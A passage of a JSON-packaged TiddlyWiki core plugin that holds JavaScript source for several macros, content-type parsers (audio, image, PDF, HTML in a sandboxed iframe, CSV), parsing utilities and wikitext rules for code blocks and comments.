"text": "/*\\\ntitle: $:/core/modules/macros/jsontiddlers.js\ntype: application/javascript\nmodule-type: macro\n\nMacro to output tiddlers matching a filter to JSON\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nInformation about this macro\n*/\n\nexports.name = \"jsontiddlers\";\n\nexports.params = [\n\t{name: \"filter\"},\n\t{name: \"spaces\"}\n];\n\n/*\nRun the macro\n*/\nexports.run = function(filter,spaces) {\n\treturn this.wiki.getTiddlersAsJson(filter,$tw.utils.parseInt(spaces));\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "macro"
},
"$:/core/modules/macros/makedatauri.js": {
"title": "$:/core/modules/macros/makedatauri.js",
"text": "/*\\\ntitle: $:/core/modules/macros/makedatauri.js\ntype: application/javascript\nmodule-type: macro\n\nMacro to convert a string of text to a data URI\n\n<<makedatauri text:\"Text to be converted\" type:\"text/vnd.tiddlywiki\">>\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nInformation about this macro\n*/\n\nexports.name = \"makedatauri\";\n\nexports.params = [\n\t{name: \"text\"},\n\t{name: \"type\"},\n\t{name: \"_canonical_uri\"}\n];\n\n/*\nRun the macro\n*/\nexports.run = function(text,type,_canonical_uri) {\n\treturn $tw.utils.makeDataUri(text,type,_canonical_uri);\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "macro"
},
"$:/core/modules/macros/now.js": {
"title": "$:/core/modules/macros/now.js",
"text": "/*\\\ntitle: $:/core/modules/macros/now.js\ntype: application/javascript\nmodule-type: macro\n\nMacro to return a formatted version of the current time\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nInformation about this macro\n*/\n\nexports.name = \"now\";\n\nexports.params = [\n\t{name: \"format\"}\n];\n\n/*\nRun the macro\n*/\nexports.run = function(format) {\n\treturn $tw.utils.formatDateString(new Date(),format || \"0hh:0mm, DDth MMM YYYY\");\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "macro"
},
"$:/core/modules/macros/qualify.js": {
"title": "$:/core/modules/macros/qualify.js",
"text": "/*\\\ntitle: $:/core/modules/macros/qualify.js\ntype: application/javascript\nmodule-type: macro\n\nMacro to qualify a state tiddler title according\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nInformation about this macro\n*/\n\nexports.name = \"qualify\";\n\nexports.params = [\n\t{name: \"title\"}\n];\n\n/*\nRun the macro\n*/\nexports.run = function(title) {\n\treturn title + \"-\" + this.getStateQualifier();\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "macro"
},
"$:/core/modules/macros/resolvepath.js": {
"title": "$:/core/modules/macros/resolvepath.js",
"text": "/*\\\ntitle: $:/core/modules/macros/resolvepath.js\ntype: application/javascript\nmodule-type: macro\n\nResolves a relative path for an absolute rootpath.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"resolvepath\";\n\nexports.params = [\n\t{name: \"source\"},\n\t{name: \"root\"}\n];\n\n/*\nRun the macro\n*/\nexports.run = function(source, root) {\n\treturn $tw.utils.resolvePath(source, root);\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "macro"
},
"$:/core/modules/macros/unusedtitle.js": {
"title": "$:/core/modules/macros/unusedtitle.js",
"text": "/*\\\ntitle: $:/core/modules/macros/unusedtitle.js\ntype: application/javascript\nmodule-type: macro\nMacro to return a new title that is unused in the wiki. It can be given a name as a base.\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nInformation about this macro\n*/\n\nexports.name = \"unusedtitle\";\n\nexports.params = [\n\t{name: \"baseName\"},\n\t{name: \"options\"}\n];\n\n/*\nRun the macro\n*/\nexports.run = function(baseName, options) {\n\tif(!baseName) {\n\t\tbaseName = $tw.language.getString(\"DefaultNewTiddlerTitle\");\n\t}\n\treturn this.wiki.generateNewTitle(baseName, options);\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "macro"
},
"$:/core/modules/macros/version.js": {
"title": "$:/core/modules/macros/version.js",
"text": "/*\\\ntitle: $:/core/modules/macros/version.js\ntype: application/javascript\nmodule-type: macro\n\nMacro to return the TiddlyWiki core version number\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nInformation about this macro\n*/\n\nexports.name = \"version\";\n\nexports.params = [];\n\n/*\nRun the macro\n*/\nexports.run = function() {\n\treturn $tw.version;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "macro"
},
"$:/core/modules/parsers/audioparser.js": {
"title": "$:/core/modules/parsers/audioparser.js",
"text": "/*\\\ntitle: $:/core/modules/parsers/audioparser.js\ntype: application/javascript\nmodule-type: parser\n\nThe audio parser parses an audio tiddler into an embeddable HTML element\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar AudioParser = function(type,text,options) {\n\tvar element = {\n\t\t\ttype: \"element\",\n\t\t\ttag: \"audio\",\n\t\t\tattributes: {\n\t\t\t\tcontrols: {type: \"string\", value: \"controls\"},\n\t\t\t\tstyle: {type: \"string\", value: \"width: 100%; object-fit: contain\"}\n\t\t\t}\n\t\t},\n\t\tsrc;\n\tif(options._canonical_uri) {\n\t\telement.attributes.src = {type: \"string\", value: options._canonical_uri};\n\t} else if(text) {\n\t\telement.attributes.src = {type: \"string\", value: \"data:\" + type + \";base64,\" + text};\n\t}\n\tthis.tree = [element];\n};\n\nexports[\"audio/ogg\"] = AudioParser;\nexports[\"audio/mpeg\"] = AudioParser;\nexports[\"audio/mp3\"] = AudioParser;\nexports[\"audio/mp4\"] = AudioParser;\n\n})();\n\n",
"type": "application/javascript",
"module-type": "parser"
},
"$:/core/modules/parsers/binaryparser.js": {
"title": "$:/core/modules/parsers/binaryparser.js",
"text": "/*\\\ntitle: $:/core/modules/parsers/binaryparser.js\ntype: application/javascript\nmodule-type: parser\n\nThe binary parser parses a binary tiddler into a warning message and download link\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar BINARY_WARNING_MESSAGE = \"$:/core/ui/BinaryWarning\";\nvar EXPORT_BUTTON_IMAGE = \"$:/core/images/export-button\";\n\nvar BinaryParser = function(type,text,options) {\n\t// Transclude the binary data tiddler warning message\n\tvar warn = {\n\t\ttype: \"element\",\n\t\ttag: \"p\",\n\t\tchildren: [{\n\t\t\ttype: \"transclude\",\n\t\t\tattributes: {\n\t\t\t\ttiddler: {type: \"string\", value: BINARY_WARNING_MESSAGE}\n\t\t\t}\n\t\t}]\n\t};\n\t// Create download link based on binary tiddler title\n\tvar link = {\n\t\ttype: \"element\",\n\t\ttag: \"a\",\n\t\tattributes: {\n\t\t\ttitle: {type: \"indirect\", textReference: \"!!title\"},\n\t\t\tdownload: {type: \"indirect\", textReference: \"!!title\"}\n\t\t},\n\t\tchildren: [{\n\t\t\ttype: \"transclude\",\n\t\t\tattributes: {\n\t\t\t\ttiddler: {type: \"string\", value: EXPORT_BUTTON_IMAGE}\n\t\t\t}\n\t\t}]\n\t};\n\t// Set the link href to external or internal data URI\n\tif(options._canonical_uri) {\n\t\tlink.attributes.href = {\n\t\t\ttype: \"string\", \n\t\t\tvalue: options._canonical_uri\n\t\t};\n\t} else if(text) {\n\t\tlink.attributes.href = {\n\t\t\ttype: \"string\", \n\t\t\tvalue: \"data:\" + type + \";base64,\" + text\n\t\t};\n\t}\n\t// Combine warning message and download link in a div\n\tvar element = {\n\t\ttype: \"element\",\n\t\ttag: \"div\",\n\t\tattributes: {\n\t\t\tclass: {type: \"string\", value: \"tc-binary-warning\"}\n\t\t},\n\t\tchildren: [warn, link]\n\t}\n\tthis.tree = [element];\n};\n\nexports[\"application/octet-stream\"] = BinaryParser;\n\n})();\n\n",
"type": "application/javascript",
"module-type": "parser"
},
"$:/core/modules/parsers/csvparser.js": {
"title": "$:/core/modules/parsers/csvparser.js",
"text": "/*\\\ntitle: $:/core/modules/parsers/csvparser.js\ntype: application/javascript\nmodule-type: parser\n\nThe CSV text parser processes CSV files into a table wrapped in a scrollable widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar CsvParser = function(type,text,options) {\n\t// Table framework\n\tthis.tree = [{\n\t\t\"type\": \"scrollable\", \"children\": [{\n\t\t\t\"type\": \"element\", \"tag\": \"table\", \"children\": [{\n\t\t\t\t\"type\": \"element\", \"tag\": \"tbody\", \"children\": []\n\t\t\t}], \"attributes\": {\n\t\t\t\t\"class\": {\"type\": \"string\", \"value\": \"tc-csv-table\"}\n\t\t\t}\n\t\t}]\n\t}];\n\t// Split the text into lines\n\tvar lines = text.split(/\\r?\\n/mg),\n\t\ttag = \"th\";\n\tfor(var line=0; line<lines.length; line++) {\n\t\tvar lineText = lines[line];\n\t\tif(lineText) {\n\t\t\tvar row = {\n\t\t\t\t\t\"type\": \"element\", \"tag\": \"tr\", \"children\": []\n\t\t\t\t};\n\t\t\tvar columns = lineText.split(\",\");\n\t\t\tfor(var column=0; column<columns.length; column++) {\n\t\t\t\trow.children.push({\n\t\t\t\t\t\t\"type\": \"element\", \"tag\": tag, \"children\": [{\n\t\t\t\t\t\t\t\"type\": \"text\",\n\t\t\t\t\t\t\t\"text\": columns[column]\n\t\t\t\t\t\t}]\n\t\t\t\t\t});\n\t\t\t}\n\t\t\ttag = \"td\";\n\t\t\tthis.tree[0].children[0].children[0].children.push(row);\n\t\t}\n\t}\n};\n\nexports[\"text/csv\"] = CsvParser;\n\n})();\n\n",
"type": "application/javascript",
"module-type": "parser"
},
"$:/core/modules/parsers/htmlparser.js": {
"title": "$:/core/modules/parsers/htmlparser.js",
"text": "/*\\\ntitle: $:/core/modules/parsers/htmlparser.js\ntype: application/javascript\nmodule-type: parser\n\nThe HTML parser displays text as raw HTML\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar HtmlParser = function(type,text,options) {\n\tvar src;\n\tif(options._canonical_uri) {\n\t\tsrc = options._canonical_uri;\n\t} else if(text) {\n\t\tsrc = \"data:text/html;charset=utf-8,\" + encodeURIComponent(text);\n\t}\n\tthis.tree = [{\n\t\ttype: \"element\",\n\t\ttag: \"iframe\",\n\t\tattributes: {\n\t\t\tsrc: {type: \"string\", value: src},\n\t\t\tsandbox: {type: \"string\", value: \"\"}\n\t\t}\n\t}];\n};\n\nexports[\"text/html\"] = HtmlParser;\n\n})();\n\n",
"type": "application/javascript",
"module-type": "parser"
},
"$:/core/modules/parsers/imageparser.js": {
"title": "$:/core/modules/parsers/imageparser.js",
"text": "/*\\\ntitle: $:/core/modules/parsers/imageparser.js\ntype: application/javascript\nmodule-type: parser\n\nThe image parser parses an image into an embeddable HTML element\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar ImageParser = function(type,text,options) {\n\tvar element = {\n\t\t\ttype: \"element\",\n\t\t\ttag: \"img\",\n\t\t\tattributes: {}\n\t\t};\n\tif(options._canonical_uri) {\n\t\telement.attributes.src = {type: \"string\", value: options._canonical_uri};\n\t} else if(text) {\n\t\tif(type === \"image/svg+xml\" || type === \".svg\") {\n\t\t\telement.attributes.src = {type: \"string\", value: \"data:image/svg+xml,\" + encodeURIComponent(text)};\n\t\t} else {\n\t\t\telement.attributes.src = {type: \"string\", value: \"data:\" + type + \";base64,\" + text};\n\t\t}\n\t}\n\tthis.tree = [element];\n};\n\nexports[\"image/svg+xml\"] = ImageParser;\nexports[\"image/jpg\"] = ImageParser;\nexports[\"image/jpeg\"] = ImageParser;\nexports[\"image/png\"] = ImageParser;\nexports[\"image/gif\"] = ImageParser;\nexports[\"image/webp\"] = ImageParser;\nexports[\"image/heic\"] = ImageParser;\nexports[\"image/heif\"] = ImageParser;\nexports[\"image/x-icon\"] = ImageParser;\n\n})();\n\n",
"type": "application/javascript",
"module-type": "parser"
},
"$:/core/modules/utils/parseutils.js": {
"title": "$:/core/modules/utils/parseutils.js",
"text": "/*\\\ntitle: $:/core/modules/utils/parseutils.js\ntype: application/javascript\nmodule-type: utils\n\nUtility functions concerned with parsing text into tokens.\n\nMost functions have the following pattern:\n\n* The parameters are:\n** `source`: the source string being parsed\n** `pos`: the current parse position within the string\n** Any further parameters are used to identify the token that is being parsed\n* The return value is:\n** null if the token was not found at the specified position\n** an object representing the token with the following standard fields:\n*** `type`: string indicating the type of the token\n*** `start`: start position of the token in the source string\n*** `end`: end position of the token in the source string\n*** Any further fields required to describe the token\n\nThe exception is `skipWhiteSpace`, which just returns the position after the whitespace.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nLook for a whitespace token. Returns null if not found, otherwise returns {type: \"whitespace\", start:, end:,}\n*/\nexports.parseWhiteSpace = function(source,pos) {\n\tvar p = pos,c;\n\twhile(true) {\n\t\tc = source.charAt(p);\n\t\tif((c === \" \") || (c === \"\\f\") || (c === \"\\n\") || (c === \"\\r\") || (c === \"\\t\") || (c === \"\\v\") || (c === \"\\u00a0\")) { // Ignores some obscure unicode spaces\n\t\t\tp++;\n\t\t} else {\n\t\t\tbreak;\n\t\t}\n\t}\n\tif(p === pos) {\n\t\treturn null;\n\t} else {\n\t\treturn {\n\t\t\ttype: \"whitespace\",\n\t\t\tstart: pos,\n\t\t\tend: p\n\t\t}\n\t}\n};\n\n/*\nConvenience wrapper for parseWhiteSpace. Returns the position after the whitespace\n*/\nexports.skipWhiteSpace = function(source,pos) {\n\tvar c;\n\twhile(true) {\n\t\tc = source.charAt(pos);\n\t\tif((c === \" \") || (c === \"\\f\") || (c === \"\\n\") || (c === \"\\r\") || (c === \"\\t\") || (c === \"\\v\") || (c === \"\\u00a0\")) { // Ignores some obscure unicode spaces\n\t\t\tpos++;\n\t\t} else {\n\t\t\treturn pos;\n\t\t}\n\t}\n};\n\n/*\nLook for a given string token. Returns null if not found, otherwise returns {type: \"token\", value:, start:, end:,}\n*/\nexports.parseTokenString = function(source,pos,token) {\n\tvar match = source.indexOf(token,pos) === pos;\n\tif(match) {\n\t\treturn {\n\t\t\ttype: \"token\",\n\t\t\tvalue: token,\n\t\t\tstart: pos,\n\t\t\tend: pos + token.length\n\t\t};\n\t}\n\treturn null;\n};\n\n/*\nLook for a token matching a regex. Returns null if not found, otherwise returns {type: \"regexp\", match:, start:, end:,}\n*/\nexports.parseTokenRegExp = function(source,pos,reToken) {\n\tvar node = {\n\t\ttype: \"regexp\",\n\t\tstart: pos\n\t};\n\treToken.lastIndex = pos;\n\tnode.match = reToken.exec(source);\n\tif(node.match && node.match.index === pos) {\n\t\tnode.end = pos + node.match[0].length;\n\t\treturn node;\n\t} else {\n\t\treturn null;\n\t}\n};\n\n/*\nLook for a string literal. Returns null if not found, otherwise returns {type: \"string\", value:, start:, end:,}\n*/\nexports.parseStringLiteral = function(source,pos) {\n\tvar node = {\n\t\ttype: \"string\",\n\t\tstart: pos\n\t};\n\tvar reString = /(?:\"\"\"([\\s\\S]*?)\"\"\"|\"([^\"]*)\")|(?:'([^']*)')/g;\n\treString.lastIndex = pos;\n\tvar match = reString.exec(source);\n\tif(match && match.index === pos) {\n\t\tnode.value = match[1] !== undefined ? match[1] :(\n\t\t\tmatch[2] !== undefined ? match[2] : match[3] \n\t\t\t\t\t);\n\t\tnode.end = pos + match[0].length;\n\t\treturn node;\n\t} else {\n\t\treturn null;\n\t}\n};\n\n/*\nLook for a macro invocation parameter. Returns null if not found, or {type: \"macro-parameter\", name:, value:, start:, end:}\n*/\nexports.parseMacroParameter = function(source,pos) {\n\tvar node = {\n\t\ttype: \"macro-parameter\",\n\t\tstart: pos\n\t};\n\t// Define our regexp\n\tvar reMacroParameter = /(?:([A-Za-z0-9\\-_]+)\\s*:)?(?:\\s*(?:\"\"\"([\\s\\S]*?)\"\"\"|\"([^\"]*)\"|'([^']*)'|\\[\\[([^\\]]*)\\]\\]|([^\\s>\"'=]+)))/g;\n\t// Skip whitespace\n\tpos = $tw.utils.skipWhiteSpace(source,pos);\n\t// Look for the parameter\n\tvar token = $tw.utils.parseTokenRegExp(source,pos,reMacroParameter);\n\tif(!token) {\n\t\treturn null;\n\t}\n\tpos = token.end;\n\t// Get the parameter details\n\tnode.value = token.match[2] !== undefined ? token.match[2] : (\n\t\t\t\t\ttoken.match[3] !== undefined ? token.match[3] : (\n\t\t\t\t\t\ttoken.match[4] !== undefined ? token.match[4] : (\n\t\t\t\t\t\t\ttoken.match[5] !== undefined ? token.match[5] : (\n\t\t\t\t\t\t\t\ttoken.match[6] !== undefined ? token.match[6] : (\n\t\t\t\t\t\t\t\t\t\"\"\n\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t)\n\t\t\t\t\t\t)\n\t\t\t\t\t)\n\t\t\t\t);\n\tif(token.match[1]) {\n\t\tnode.name = token.match[1];\n\t}\n\t// Update the end position\n\tnode.end = pos;\n\treturn node;\n};\n\n/*\nLook for a macro invocation. Returns null if not found, or {type: \"macrocall\", name:, parameters:, start:, end:}\n*/\nexports.parseMacroInvocation = function(source,pos) {\n\tvar node = {\n\t\ttype: \"macrocall\",\n\t\tstart: pos,\n\t\tparams: []\n\t};\n\t// Define our regexps\n\tvar reMacroName = /([^\\s>\"'=]+)/g;\n\t// Skip whitespace\n\tpos = $tw.utils.skipWhiteSpace(source,pos);\n\t// Look for a double less than sign\n\tvar token = $tw.utils.parseTokenString(source,pos,\"<<\");\n\tif(!token) {\n\t\treturn null;\n\t}\n\tpos = token.end;\n\t// Get the macro name\n\tvar name = $tw.utils.parseTokenRegExp(source,pos,reMacroName);\n\tif(!name) {\n\t\treturn null;\n\t}\n\tnode.name = name.match[1];\n\tpos = name.end;\n\t// Process parameters\n\tvar parameter = $tw.utils.parseMacroParameter(source,pos);\n\twhile(parameter) {\n\t\tnode.params.push(parameter);\n\t\tpos = parameter.end;\n\t\t// Get the next parameter\n\t\tparameter = $tw.utils.parseMacroParameter(source,pos);\n\t}\n\t// Skip whitespace\n\tpos = $tw.utils.skipWhiteSpace(source,pos);\n\t// Look for a double greater than sign\n\ttoken = $tw.utils.parseTokenString(source,pos,\">>\");\n\tif(!token) {\n\t\treturn null;\n\t}\n\tpos = token.end;\n\t// Update the end position\n\tnode.end = pos;\n\treturn node;\n};\n\n/*\nLook for an HTML attribute definition. Returns null if not found, otherwise returns {type: \"attribute\", name:, valueType: \"string|indirect|macro\", value:, start:, end:,}\n*/\nexports.parseAttribute = function(source,pos) {\n\tvar node = {\n\t\tstart: pos\n\t};\n\t// Define our regexps\n\tvar reAttributeName = /([^\\/\\s>\"'=]+)/g,\n\t\treUnquotedAttribute = /([^\\/\\s<>\"'=]+)/g,\n\t\treFilteredValue = /\\{\\{\\{(.+?)\\}\\}\\}/g,\n\t\treIndirectValue = /\\{\\{([^\\}]+)\\}\\}/g;\n\t// Skip whitespace\n\tpos = $tw.utils.skipWhiteSpace(source,pos);\n\t// Get the attribute name\n\tvar name = $tw.utils.parseTokenRegExp(source,pos,reAttributeName);\n\tif(!name) {\n\t\treturn null;\n\t}\n\tnode.name = name.match[1];\n\tpos = name.end;\n\t// Skip whitespace\n\tpos = $tw.utils.skipWhiteSpace(source,pos);\n\t// Look for an equals sign\n\tvar token = $tw.utils.parseTokenString(source,pos,\"=\");\n\tif(token) {\n\t\tpos = token.end;\n\t\t// Skip whitespace\n\t\tpos = $tw.utils.skipWhiteSpace(source,pos);\n\t\t// Look for a string literal\n\t\tvar stringLiteral = $tw.utils.parseStringLiteral(source,pos);\n\t\tif(stringLiteral) {\n\t\t\tpos = stringLiteral.end;\n\t\t\tnode.type = \"string\";\n\t\t\tnode.value = stringLiteral.value;\n\t\t} else {\n\t\t\t// Look for a filtered value\n\t\t\tvar filteredValue = $tw.utils.parseTokenRegExp(source,pos,reFilteredValue);\n\t\t\tif(filteredValue) {\n\t\t\t\tpos = filteredValue.end;\n\t\t\t\tnode.type = \"filtered\";\n\t\t\t\tnode.filter = filteredValue.match[1];\n\t\t\t} else {\n\t\t\t\t// Look for an indirect value\n\t\t\t\tvar indirectValue = $tw.utils.parseTokenRegExp(source,pos,reIndirectValue);\n\t\t\t\tif(indirectValue) {\n\t\t\t\t\tpos = indirectValue.end;\n\t\t\t\t\tnode.type = \"indirect\";\n\t\t\t\t\tnode.textReference = indirectValue.match[1];\n\t\t\t\t} else {\n\t\t\t\t\t// Look for a unquoted value\n\t\t\t\t\tvar unquotedValue = $tw.utils.parseTokenRegExp(source,pos,reUnquotedAttribute);\n\t\t\t\t\tif(unquotedValue) {\n\t\t\t\t\t\tpos = unquotedValue.end;\n\t\t\t\t\t\tnode.type = \"string\";\n\t\t\t\t\t\tnode.value = unquotedValue.match[1];\n\t\t\t\t\t} else {\n\t\t\t\t\t\t// Look for a macro invocation value\n\t\t\t\t\t\tvar macroInvocation = $tw.utils.parseMacroInvocation(source,pos);\n\t\t\t\t\t\tif(macroInvocation) {\n\t\t\t\t\t\t\tpos = macroInvocation.end;\n\t\t\t\t\t\t\tnode.type = \"macro\";\n\t\t\t\t\t\t\tnode.value = macroInvocation;\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tnode.type = \"string\";\n\t\t\t\t\t\t\tnode.value = \"true\";\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t} else {\n\t\tnode.type = \"string\";\n\t\tnode.value = \"true\";\n\t}\n\t// Update the end position\n\tnode.end = pos;\n\treturn node;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "utils"
},
"$:/core/modules/parsers/pdfparser.js": {
"title": "$:/core/modules/parsers/pdfparser.js",
"text": "/*\\\ntitle: $:/core/modules/parsers/pdfparser.js\ntype: application/javascript\nmodule-type: parser\n\nThe PDF parser embeds a PDF viewer\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar ImageParser = function(type,text,options) {\n\tvar element = {\n\t\t\ttype: \"element\",\n\t\t\ttag: \"embed\",\n\t\t\tattributes: {}\n\t\t},\n\t\tsrc;\n\tif(options._canonical_uri) {\n\t\telement.attributes.src = {type: \"string\", value: options._canonical_uri};\n\t} else if(text) {\n\t\telement.attributes.src = {type: \"string\", value: \"data:application/pdf;base64,\" + text};\n\t}\n\tthis.tree = [element];\n};\n\nexports[\"application/pdf\"] = ImageParser;\n\n})();\n\n",
"type": "application/javascript",
"module-type": "parser"
},
"$:/core/modules/parsers/textparser.js": {
"title": "$:/core/modules/parsers/textparser.js",
"text": "/*\\\ntitle: $:/core/modules/parsers/textparser.js\ntype: application/javascript\nmodule-type: parser\n\nThe plain text parser processes blocks of source text into a degenerate parse tree consisting of a single text node\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar TextParser = function(type,text,options) {\n\tthis.tree = [{\n\t\ttype: \"codeblock\",\n\t\tattributes: {\n\t\t\tcode: {type: \"string\", value: text},\n\t\t\tlanguage: {type: \"string\", value: type}\n\t\t}\n\t}];\n};\n\nexports[\"text/plain\"] = TextParser;\nexports[\"text/x-tiddlywiki\"] = TextParser;\nexports[\"application/javascript\"] = TextParser;\nexports[\"application/json\"] = TextParser;\nexports[\"text/css\"] = TextParser;\nexports[\"application/x-tiddler-dictionary\"] = TextParser;\n\n})();\n\n",
"type": "application/javascript",
"module-type": "parser"
},
"$:/core/modules/parsers/videoparser.js": {
"title": "$:/core/modules/parsers/videoparser.js",
"text": "/*\\\ntitle: $:/core/modules/parsers/videoparser.js\ntype: application/javascript\nmodule-type: parser\n\nThe video parser parses a video tiddler into an embeddable HTML element\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar VideoParser = function(type,text,options) {\n\tvar element = {\n\t\t\ttype: \"element\",\n\t\t\ttag: \"video\",\n\t\t\tattributes: {\n\t\t\t\tcontrols: {type: \"string\", value: \"controls\"},\n\t\t\t\tstyle: {type: \"string\", value: \"width: 100%; object-fit: contain\"}\n\t\t\t}\n\t\t},\n\t\tsrc;\n\tif(options._canonical_uri) {\n\t\telement.attributes.src = {type: \"string\", value: options._canonical_uri};\n\t} else if(text) {\n\t\telement.attributes.src = {type: \"string\", value: \"data:\" + type + \";base64,\" + text};\n\t}\n\tthis.tree = [element];\n};\n\nexports[\"video/ogg\"] = VideoParser;\nexports[\"video/webm\"] = VideoParser;\nexports[\"video/mp4\"] = VideoParser;\nexports[\"video/quicktime\"] = VideoParser;\n\n})();\n",
"type": "application/javascript",
"module-type": "parser"
},
"$:/core/modules/parsers/wikiparser/rules/codeblock.js": {
"title": "$:/core/modules/parsers/wikiparser/rules/codeblock.js",
"text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/codeblock.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki text rule for code blocks. For example:\n\n```\n\t```\n\tThis text will not be //wikified//\n\t```\n```\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"codeblock\";\nexports.types = {block: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match and get language if defined\n\tthis.matchRegExp = /```([\\w-]*)\\r?\\n/mg;\n};\n\nexports.parse = function() {\n\tvar reEnd = /(\\r?\\n```$)/mg;\n\t// Move past the match\n\tthis.parser.pos = this.matchRegExp.lastIndex;\n\n\t// Look for the end of the block\n\treEnd.lastIndex = this.parser.pos;\n\tvar match = reEnd.exec(this.parser.source),\n\t\ttext;\n\t// Process the block\n\tif(match) {\n\t\ttext = this.parser.source.substring(this.parser.pos,match.index);\n\t\tthis.parser.pos = match.index + match[0].length;\n\t} else {\n\t\ttext = this.parser.source.substr(this.parser.pos);\n\t\tthis.parser.pos = this.parser.sourceLength;\n\t}\n\t// Return the $codeblock widget\n\treturn [{\n\t\t\ttype: \"codeblock\",\n\t\t\tattributes: {\n\t\t\t\t\tcode: {type: \"string\", value: text},\n\t\t\t\t\tlanguage: {type: \"string\", value: this.match[1]}\n\t\t\t}\n\t}];\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "wikirule"
},
"$:/core/modules/parsers/wikiparser/rules/codeinline.js": {
"title": "$:/core/modules/parsers/wikiparser/rules/codeinline.js",
"text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/codeinline.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki text inline rule for code runs. For example:\n\n```\n\tThis is a `code run`.\n\tThis is another ``code run``\n```\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"codeinline\";\nexports.types = {inline: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = /(``?)/mg;\n};\n\nexports.parse = function() {\n\t// Move past the match\n\tthis.parser.pos = this.matchRegExp.lastIndex;\n\tvar reEnd = new RegExp(this.match[1], \"mg\");\n\t// Look for the end marker\n\treEnd.lastIndex = this.parser.pos;\n\tvar match = reEnd.exec(this.parser.source),\n\t\ttext;\n\t// Process the text\n\tif(match) {\n\t\ttext = this.parser.source.substring(this.parser.pos,match.index);\n\t\tthis.parser.pos = match.index + match[0].length;\n\t} else {\n\t\ttext = this.parser.source.substr(this.parser.pos);\n\t\tthis.parser.pos = this.parser.sourceLength;\n\t}\n\treturn [{\n\t\ttype: \"element\",\n\t\ttag: \"code\",\n\t\tchildren: [{\n\t\t\ttype: \"text\",\n\t\t\ttext: text\n\t\t}]\n\t}];\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "wikirule"
},
"$:/core/modules/parsers/wikiparser/rules/commentblock.js": {
"title": "$:/core/modules/parsers/wikiparser/rules/commentblock.js",
"text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/commentblock.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki text block rule for HTML comments. For example:\n\n```\n<!-- This is a comment -->\n```\n\nNote that the syntax for comments is simplified to an opening \"<!--\" sequence and a closing \"-->\" sequence -- HTML itself implements a more complex format (see http://ostermiller.org/findhtmlcomment.html)\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"commentblock\";\nexports.types = {block: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n\tthis.matchRegExp = /<!--/mg;\n\tthis.endMatchRegExp = /-->/mg;\n};\n\nexports.findNextMatch = function(startPos) {\n\tthis.matchRegExp.lastIndex = startPos;\n\tthis.match = this.matchRegExp.exec(this.parser.source);\n\tif(this.match) {\n\t\tthis.endMatchRegExp.lastIndex = startPos + this.match[0].length;\n\t\tthis.endMatch = this.endMatchRegExp.exec(this.parser.source);\n\t\tif(this.endMatch) {\n\t\t\treturn this.match.index;\n\t\t}\n\t}\n\treturn undefined;\n};\n\nexports.parse = function() {\n\t// Move past the match\n\tthis.parser.pos = this.endMatchRegExp.lastIndex;\n\t// Don't return any elements\n\treturn [];\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "wikirule"
},
"$:/core/modules/parsers/wikiparser/rules/commentinline.js": {
"title": "$:/core/modules/parsers/wikiparser/rules/commentinline.js",
